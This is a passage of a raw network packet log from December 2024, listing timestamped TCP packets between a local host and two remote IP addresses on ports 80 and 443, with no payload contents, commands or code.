Dec 9, 2024 23:09:20.599433899 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.599466085 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.599490881 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.600353956 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.600406885 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.600445986 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.600492001 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.601357937 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.601403952 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.601459026 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.601502895 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.602427959 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.602480888 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.602579117 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.602624893 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.603430986 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.603476048 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.603532076 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.603574038 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.604480982 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.604521990 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.604598999 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.604640961 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.605441093 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.605490923 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.605571985 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.605612040 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.606473923 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.606518984 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.606610060 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.606652021 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.607512951 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.607561111 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.607588053 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.607635021 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.608549118 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.608612061 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.608692884 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.608733892 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.609548092 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.609594107 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.609678030 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.609719992 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.610588074 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.610634089 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.610686064 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.610729933 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.611609936 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.611654997 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.611660004 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.611704111 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.612663031 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.612705946 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.612782955 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.612824917 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.613662958 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.613708019 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.613816977 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.613859892 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.614690065 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.614733934 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.614814997 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.614856958 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.615739107 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.615783930 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.615796089 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.615839005 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.616708040 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.616750002 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.616822004 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.616863966 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.617743969 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.617786884 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.617814064 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.617858887 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.618839979 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.618905067 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.618931055 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.618976116 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.619816065 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.619857073 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.619910002 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.619950056 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.620827913 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.620872021 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.620898008 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.620939016 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.621849060 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.621896029 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.621965885 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.622014046 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.622879982 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.622925997 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.622986078 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.623028040 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.624005079 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.624047995 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.624126911 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.624169111 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.624936104 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.624975920 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.625060081 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.625102997 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.625950098 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.625993967 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.626024008 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.626070023 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.626957893 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.627000093 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.627058983 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.627100945 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.627979040 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.628017902 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.628036976 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.628081083 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.629018068 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.629075050 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.629198074 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.629241943 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.630055904 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.630101919 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.630263090 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.630301952 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.631298065 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.631342888 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.631424904 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.631468058 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.632093906 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.632133961 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.632138968 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.632181883 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.633115053 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.633157015 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.633241892 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.633276939 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.634135008 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.634181023 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.634238005 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.634284973 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.635159016 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.635201931 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.635284901 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.635329962 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.636212111 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.636255980 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.636281013 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.636320114 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.637269020 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.637311935 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.637375116 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.637415886 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.638320923 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.638360023 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.638389111 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.638430119 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.639266014 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.639329910 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.639467955 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.639511108 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.640301943 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.640347958 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.640403032 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.640444994 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.641295910 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.641338110 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.641417027 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.641459942 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.642374992 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.642421961 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.642432928 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.642472982 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.643372059 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.643413067 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.643481016 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.643521070 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.644386053 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.644428968 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.644545078 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.644589901 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.645399094 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.645442009 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.645522118 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.645570040 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.646455050 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.646496058 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.646617889 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.646660089 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.647494078 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.647536993 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.647663116 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.647706032 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.648484945 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.648529053 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.648703098 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.648741961 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.649517059 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.649569988 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.649580002 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.649713993 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.650566101 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.650610924 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.650640011 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.650681973 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.651576996 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.651685953 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.651957035 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.652550936 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.654987097 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.709948063 CET	443	49800	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:20.710128069 CET	49800	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:20.711330891 CET	49800	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:20.711338997 CET	443	49800	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:20.711560011 CET	443	49800	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:20.712764978 CET	49800	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:20.712923050 CET	49800	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:20.712954998 CET	443	49800	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:20.713032007 CET	49800	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:20.713038921 CET	443	49800	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:20.791467905 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.791552067 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.791553974 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.791606903 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.791903973 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.791954041 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.792027950 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.792073011 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.793015003 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.793060064 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.793078899 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.793123007 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.794008970 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.794054985 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.794147015 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.794189930 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.794990063 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.795042992 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.795110941 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.795152903 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.796017885 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.796061993 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.796123981 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.796166897 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.797039986 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.797080994 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.797146082 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.797188997 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.798064947 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.798110008 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.798166990 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.798212051 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.799156904 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.799201012 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.799257994 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.799305916 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.800084114 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.800132990 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.800193071 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.800235987 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.801148891 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.801194906 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.801251888 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.801311970 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.802164078 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.802208900 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.802265882 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.802313089 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.803178072 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.803219080 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.803275108 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.803348064 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.804212093 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.804259062 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.804445028 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.804487944 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.805260897 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.805305958 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.805377960 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.805422068 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.806242943 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.806287050 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.806350946 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.806391001 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.807276964 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.807333946 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.807404041 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.807446957 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.808286905 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.808410883 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.809350967 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.809412003 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.809442043 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.810342073 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.810436964 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.810496092 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.811423063 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.811496019 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.812438011 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.812503099 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.812552929 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.813458920 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.813549042 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.813596964 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.814497948 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.814573050 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.815536022 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.815583944 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.815608025 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.816524982 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.816570044 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.816571951 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.817549944 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.817594051 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.817750931 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.818543911 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.818586111 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.818608046 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.819577932 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.819621086 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.819649935 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.819953918 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.820677996 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.820828915 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.821645975 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.821693897 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.821727991 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.822746038 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.822819948 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.822866917 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.823673010 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.823791981 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.824002981 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.824723959 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.824878931 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.824934959 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.825774908 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.825819969 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.826077938 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.826800108 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.826873064 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.826891899 CET	80	49791	185.215.113.16	192.168.2.4
